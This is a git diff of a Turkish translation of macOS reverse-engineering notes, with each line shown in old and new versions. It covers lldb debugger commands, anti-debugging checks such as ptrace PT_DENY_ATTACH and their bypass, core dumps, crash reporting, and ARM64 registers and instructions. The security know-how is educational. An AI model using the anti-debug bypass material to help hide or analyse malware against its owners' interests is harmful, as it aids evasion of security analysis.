#Mevcut fonksiyonu disassemble et</p><p>dis -n &#x3C;funcname> #Fonksiyonu disassemble et</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Fonksiyonu disassemble et<br>dis -c 6 #6 satırı disassemble et<br>dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar<br>dis -p -c 4 #Mevcut adreste disassemble etmeye başla</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg'inde 3 bileşenli diziyi kontrol et</td></tr><tr><td><strong>image dump sections</strong></td><td>Mevcut işlem belleğinin haritasını yazdırır</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLP'den tüm sembollerin adresini al</td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Bir kesme noktası vurulana veya işlem sonlanana kadar devam edecek şekilde yürütmeyi başlatır.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Giriş noktasında durarak yürütmeyi başlatır</td></tr><tr><td><strong>continue (c)</strong></td><td>Debug edilen işlemin yürütmesini devam ettirir.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürütür. Bu komut, fonksiyon çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.</td></tr><tr><td><strong>finish (f)</strong></td><td>Mevcut fonksiyondaki (“çerçeve”) geri kalan talimatları yürütür ve durur.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklatır. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem duraklatılacaktır ...şu anda yürütüldüğü yerde.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Herhangi bir main fonksiyonu</p><p><code>b &#x3C;binname>`main</code> #Bin'in ana fonksiyonu</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Belirtilen bin'in ana fonksiyonu</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Herhangi bir NSFileManager metodu</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # O kütüphanedeki tüm fonksiyonlarda kesme noktası</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Kesme noktası listesi</p><p><code>br e/dis &#x3C;num></code> #Kesme noktasını etkinleştir/etkisiz hale getir</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kesme noktası komutu hakkında yardım al</p><p>help memory write #Belleğe yazma hakkında yardım al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/bellek adresi></strong></td><td>Belleği null-terminatlı dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/bellek adresi></strong></td><td>Belleği montaj talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/bellek adresi></strong></td><td>Belleği byte olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre ile referans verilen nesneyi yazdırır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Appleın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bunlar “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz<br>memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Mevcut fonksiyonu disassemble et</p><p>dis -n &#x3C;funcname> #Fonksiyonu disassemble et</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Fonksiyonu disassemble et<br>dis -c 6 #6 satırı disassemble et<br>dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar<br>dis -p -c 4 #Mevcut adreste disassemble etmeye başla</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg'inde 3 bileşenli diziyi kontrol et</td></tr><tr><td><strong>image dump sections</strong></td><td>Mevcut işlem belleğinin haritasını yazdırır</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLP'den tüm sembollerin adresini al</td></tr></tbody></table>
> [!NOTE] > [!NOTE]
> **`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydedicisi **metodun adını** null-terminatlı (“C”) dize olarak tutar. Adı lldb üzerinden yazdırmak için: > **`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydedicisi **metodun adını** null-terminatlı (“C”) dize olarak tutar. Adı lldb üzerinden yazdırmak için:
@ -460,17 +460,17 @@ settings set target.x86-disassembly-flavor intel
- Basit bir kod ile **bir işlemin debug edilip edilmediğini** bulmak da mümkündür: - Basit bir kod ile **bir işlemin debug edilip edilmediğini** bulmak da mümkündür:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //işlem debug ediliyor }` - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //işlem debug ediliyor }`
- Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir debug**u**gerin bağlanmasını ve izlenmesini **engeller**. - Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir debug**u**gerin bağlanmasını ve izlenmesini **engeller**.
- **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarıldığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir) - **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarılıp aktarılmadığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir).
- Bu yazıda belirtildiği gibi, “[Anti-Debug Tekniklerini Aşmak: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ - Bu yazıda belirtildiği gibi, “[Anti-Debug Tekniklerini Aşmak: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Process # exited with **status = 45 (0x0000002d)** mesajı genellikle debug hedefinin **PT_DENY_ATTACH** kullandığının belirgin bir işaretidır_” “_Process # exited with **status = 45 (0x0000002d)** mesajı genellikle debug hedefinin **PT_DENY_ATTACH** kullandığını gösteren bir işarettir_”
## Core Dumps ## Core Dumps
Core dump'lar aşağıdaki durumlarda oluşturulur: Core dump'lar şu durumlarda oluşturulur:
- `kern.coredump` sysctl 1 olarak ayarlanmışsa (varsayılan olarak) - `kern.coredump` sysctl 1 olarak ayarlanmışsa (varsayılan olarak)
- Eğer işlem suid/sgid değilse veya `kern.sugid_coredump` 1 ise (varsayılan olarak 0) - Eğer işlem suid/sgid değilse veya `kern.sugid_coredump` 1 ise (varsayılan olarak 0)
- `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrısı yapılabilir ve bunları yeniden etkinleştirmek için `ulimit -c unlimited` kullanılabilir. - `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrılabilir ve tekrar etkinleştirmek için `ulimit -c unlimited` kullanılabilir.
Bu durumlarda core dump, `kern.corefile` sysctl'ine göre oluşturulur ve genellikle `/cores/core/.%P` dizininde saklanır. Bu durumlarda core dump, `kern.corefile` sysctl'ine göre oluşturulur ve genellikle `/cores/core/.%P` dizininde saklanır.
@ -479,8 +479,8 @@ Bu durumlarda core dump, `kern.corefile` sysctl'ine göre oluşturulur ve genell
### [ReportCrash](https://ss64.com/osx/reportcrash.html) ### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **çöken işlemleri analiz eder ve bir çökme raporunu diske kaydeder**. Bir çökme raporu, bir geliştiricinin çökme nedenini teşhis etmesine yardımcı olabilecek bilgileri içerir.\ ReportCrash **çöken işlemleri analiz eder ve bir çökme raporunu diske kaydeder**. Bir çökme raporu, bir geliştiricinin çökme nedenini teşhis etmesine yardımcı olabilecek bilgileri içerir.\
Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizinine kaydeder.\ Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizininde saklar.\
Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizinine kaydeder. Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizininde saklar.
Eğer çökme raporlarının **Apple'a gönderilmesinden endişe ediyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları **bir sunucunun nasıl çöktüğünü anlamak için** faydalı olabilir. Eğer çökme raporlarının **Apple'a gönderilmesinden endişe ediyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları **bir sunucunun nasıl çöktüğünü anlamak için** faydalı olabilir.
```bash ```bash

View File

@ -17,26 +17,26 @@ ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyel
- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar. - EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
4. **EL3 - Güvenli İzleyici Modu**: 4. **EL3 - Güvenli İzleyici Modu**:
- Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. - Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
- EL3, güvenli ve güvenli olmayan durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir. - EL3, güvenli ve güvenli olmayan durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (örneğin güvenli önyükleme, güvenilir OS vb.).
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır. Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır.
## **Kayıtlar (ARM64v8)** ## **Kayıtlar (ARM64v8)**
ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir. ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleri kullanılarak erişilebilir.
1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır. 1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır.
- **`x0`**, bir fonksiyonun dönüş verisini de taşır. - **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır.
2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** 2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!**
3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. 3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır. 4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır.
- **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır. - **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır.
5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi. 5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi.
6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. 6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalı tutmalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır.
7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**. 7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**.
- Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır. - Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır.
8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar. 8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar.
- Bu kayıt, diğer kayıtlar gibi de kullanılabilir. - Ayrıca diğer kayıtlar gibi kullanılabilir.
- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön). - Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. 9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
- **`sp`** değeri her zaman en az bir **quadword** **hizalaması** ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir. - **`sp`** değeri her zaman en az bir **quadword** **hizalaması** ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir.
@ -51,7 +51,7 @@ Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan
### Sistem Kayıtları ### Sistem Kayıtları
**Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır ve **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\ **Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\
Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler. Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler.
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\ Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\
@ -68,29 +68,29 @@ Erişilebilir alanlar şunlardır:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları: - **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları:
- **`N`**, işlemin negatif bir sonuç verdiğini gösterir. - **`N`**, işlemin negatif bir sonuç verdiğini belirtir.
- **`Z`**, işlemin sıfır verdiğini gösterir. - **`Z`**, işlemin sıfır verdiğini belirtir.
- **`C`**, işlemin taşındığını gösterir. - **`C`**, işlemin taşındığını belirtir.
- **`V`**, işlemin imzalı bir taşma verdiğini gösterir: - **`V`**, işlemin imzalı bir taşma verdiğini belirtir:
- İki pozitif sayının toplamı negatif bir sonuç verir. - İki pozitif sayının toplamı negatif bir sonuç verir.
- İki negatif sayının toplamı pozitif bir sonuç verir. - İki negatif sayının toplamı pozitif bir sonuç verir.
- Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse. - Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse.
- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. - Açıkça, işlemci işlemin imzalı olup olmadığını bilmez, bu nedenle C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir.
> [!WARNING] > [!WARNING]
> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de bunu yapar. > Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s eki olan diğerleri de günceller.
- Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. - Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır.
- Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır. - Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır.
- **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir. - **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir.
- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler. - **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler.
- **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır. - **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır.
- Eğer **`A`** 1 ise, **asenkron abortların** tetikleneceği anlamına gelir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. - Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir.
- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. - **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilirler (örneğin `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz.
## **Çağrı Sözleşmesi (ARM64v8)** ## **Çağrı Sözleşmesi (ARM64v8)**
ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**.
Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog**, genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir. Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog**, genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir.
@ -108,21 +108,21 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
- Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler. - Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler.
- **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin: - **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin:
- `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir. - `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir.
- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir. - `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 konumundaki bir nesneyi yükleyecektir.
- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar. - **Önceden indekslenmiş mod**: Bu, orijinal değere hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal değeri orijinalde saklar.
- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar. - `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'e `x1 + 8` sonucunu saklar.
- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve sp kaydını güncelle. - `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle.
- **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır. - **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır.
- `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller. - `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller.
- **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır. - **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır.
- `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir. - `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir.
- **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**. - **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**.
- Örnek: `str x0, [x1]` — Bu, `x0`'deki değeri `x1` tarafından işaret edilen bellek konumuna saklar. - Örnek: `str x0, [x1]` — Bu, `x0`'deki değeri `x1` tarafından işaret edilen bellek konumuna saklar.
- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. - **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından **iki kaydı** yükler. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8` konumlarından yükler. - Örnek: `ldp x0, x1, [x2]` — Bu, `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler.
- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. - **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına **iki kaydı** saklar. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
